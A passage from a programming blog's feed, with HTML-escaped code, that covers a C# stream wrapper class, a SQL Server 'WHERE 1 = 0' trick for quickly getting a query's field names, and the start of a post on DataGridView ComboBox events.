class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Flush&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;       &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Flush&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Position&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Position&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Position&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;FilterBeforeRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Seek&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SeekOrigin&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;origin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Seek&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;origin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SetLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SetLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;cp&#34;&gt;#endregion    &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;43&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content>
	</entry>
	<entry>
		<title>Getting the field list returned from an ad-hoc Sql query</title>
		<id>https://blog.thoward37.me/articles/getting-the-field-list-returned-from-an-ad-hoc-sql</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/getting-the-field-list-returned-from-an-ad-hoc-sql" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/getting-the-field-list-returned-from-an-ad-hoc-sql" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/getting-the-field-list-returned-from-an-ad-hoc-sql" type="text/html"></link>
		<published>2008-04-29T18:05:00+00:00</published>
		<updated>2008-04-29T18:05:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;So, recently I needed to make an application that allowed a user to enter an arbitrary SQL query, and elsewhere in the UI I needed to display a drop-down with the fields that this arbitrary query returned. This poses a small problem.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;It&#39;s very simple if the user is doing simple queries, that don&#39;t take long to execute. You could just run the query, then, take the first result, and get the list of fields. Well.. This works for simple queries that return small result sets, but we needed to put in queries that potentially return as many as 48 million results, using complex queries including joins between multi-million rowed tables, aggregates, and that sort of thing..&lt;/p&gt;&#xA;&lt;p&gt;In other words, the queries are slow. Really slow. They create a lot of UI lag when I go to get the field names for the drop down box.&lt;/p&gt;&#xA;&lt;p&gt;My first attempt was to take the query and wrap it up like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TOP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;-- original query here&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fieldNamesTable&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;My thinking was that if I specified that I only wanted the first record it&#39;s be really quick, even with a complex query. This is true. It&#39;s must faster, but it&#39;s still slow. Too slow. A lot of UI lag still remained.&lt;/p&gt;&#xA;&lt;p&gt;So, my second attempt worked much better. I wrapped the query again, but now it looks like:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;-- original query here&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fieldNamesTable&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;WHERE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Instead of specifying I wanted the first record, I put a phrase in the &lt;code&gt;WHERE&lt;/code&gt; clause that will always be false. The SQL Server&#39;s query execution engine realizes that, and so it knows that the query will never be able to return data. So it immediately returns with 0 results. But I get the field names!! This is SUPER fast!&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;So, recently I needed to make an application that allowed a user to enter an arbitrary SQL query, and elsewhere in the UI I needed to display a drop-down with the fields that this arbitrary query returned. This poses a small problem.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;It&#39;s very simple if the user is doing simple queries, that don&#39;t take long to execute. You could just run the query, then, take the first result, and get the list of fields. Well.. This works for simple queries that return small result sets, but we needed to put in queries that potentially return as many as 48 million results, using complex queries including joins between multi-million rowed tables, aggregates, and that sort of thing..&lt;/p&gt;&#xA;&lt;p&gt;In other words, the queries are slow. Really slow. They create a lot of UI lag when I go to get the field names for the drop down box.&lt;/p&gt;&#xA;&lt;p&gt;My first attempt was to take the query and wrap it up like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TOP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;-- original query here&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fieldNamesTable&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;My thinking was that if I specified that I only wanted the first record it&#39;s be really quick, even with a complex query. This is true. It&#39;s must faster, but it&#39;s still slow. Too slow. A lot of UI lag still remained.&lt;/p&gt;&#xA;&lt;p&gt;So, my second attempt worked much better. I wrapped the query again, but now it looks like:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;-- original query here&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fieldNamesTable&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;WHERE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Instead of specifying I wanted the first record, I put a phrase in the &lt;code&gt;WHERE&lt;/code&gt; clause that will always be false. The SQL Server&#39;s query execution engine realizes that, and so it knows that the query will never be able to return data. So it immediately returns with 0 results. But I get the field names!! This is SUPER fast!&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>An amusing bout with the DataGridView control</title>
		<id>https://blog.thoward37.me/articles/an-amusing-bout-with-the-datagridview-control</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/an-amusing-bout-with-the-datagridview-control" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/an-amusing-bout-with-the-datagridview-control" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/an-amusing-bout-with-the-datagridview-control" type="text/html"></link>
		<published>2008-03-24T17:36:00+00:00</published>
		<updated>2008-03-24T17:36:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;As usual, WinForms GUI programming is a terrible PIA. Even worse is the flagship of all controls the great beast known as the DataGridView. Working with the &lt;code&gt;DataGridView&lt;/code&gt; bends your mind like offensive cutlery at Uri Geller’s dinner table.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;During my most recent encounter with this control of the third kind, I needed to use a &lt;code&gt;ComboBox&lt;/code&gt; column, and that column needed to have an effect on the contents of the other controls. Normally, you could just hook up a &lt;code&gt;CellValueChanged&lt;/code&gt; event or something of that nature, but that doesn’t work out on a &lt;code&gt;ComboBox&lt;/code&gt; control in a &lt;code&gt;DataGridView&lt;/code&gt; column. There&#39;s no event that would fire when a user selected an item in the dropdown. Only after the user selected the item, then refocused on some other control.&lt;/p&gt;&#xA;&lt;p&gt;That was annoying. Too many clicks for the user! When I select the item in the dropdown, the row should react, I shouldn’t have to click elsewhere.&lt;/p&gt;&#xA;&lt;p&gt;So here’s a quick example of what I did to get that working. In the example, we handle the datagridview’s &lt;code&gt;EditControlShowing&lt;/code&gt; event, then grab a reference to the combobox, then unwire any previous events we may have hooked up to &lt;code&gt;SelectionChangeCommitted&lt;/code&gt;, then wire the event. In the &lt;code&gt;SelectionChangeCommitted&lt;/code&gt; event we call &lt;code&gt;_dataGridView.EndEdit()&lt;/code&gt; to effect the other rows.&lt;/p&gt;&#xA;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Example&lt;/span&gt; &lt;span 